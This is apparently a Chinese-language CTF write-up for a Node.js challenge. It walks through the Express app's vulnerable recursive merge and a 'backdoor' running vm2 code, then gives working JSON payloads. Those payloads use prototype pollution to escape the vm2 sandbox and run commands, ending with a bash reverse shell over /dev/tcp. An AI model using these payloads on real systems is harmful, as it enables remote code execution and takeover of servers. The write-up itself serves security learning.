本文最后更新于40 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、访问网站

提示找源代码
二、目录扫描
成功扫出app.js

三、分析js代码
const express = require('express');
const app = express();
const { VM } = require('vm2');
app.use(express.json());
const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});
app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})
app.listen(3000, function () {
console.log('start listening on port 3000');
});
-
引入了express和vm2沙箱
-
backdoor函数:在VM2沙箱中执行
{}.shellcode属性。
run()会把参数当作命令来执行,此处就是将{}的shellcode属性当作命令来执行,所以要污染{}的shellcode属性。 -
merge函数:递归对两个对象进行合并
原型链污染经常出现的函数 -
clone函数:触发mege函数
merge({}, a)中,第一个参数是空对象{},若 a 包含__proto__,则{}.__proto__就是Object.prototype,合并时会直接污染全局原型链。 -
GET路由:显示提示
-
POST路由
var body = JSON.parse(JSON.stringify(req.body));获取上传的JSON数据。
var copybody = clone(body)调用了递归函数。
if (copybody.shit) {
backdoor()
}
调用backdoor函数,需要令shit为true
四、构造payload
post传递一个json数据,会经过json.parse函数解析,然后再通过clone()函数复制到copybody变量中,最后判断该变量的shit值是否为真,然后调用backdoor()函数在VM2沙箱中执行{}.shellcode属性。
payload参考:
https://xz.aliyun.com/news/11305#toc-5
{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}}
拿到 shit(赋值给 a.shit = 1),再拿到 __proto__(赋值给 a.__proto__),shellcode就是a.__proto__.shellcode
a.__proto__ = {}.__proto__ = Object.prototype
但是是无回显

使用反弹shell
{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/6666 0>&1\"').toString();"}}

总结
-
原型链污染
-
vm2沙盒逃逸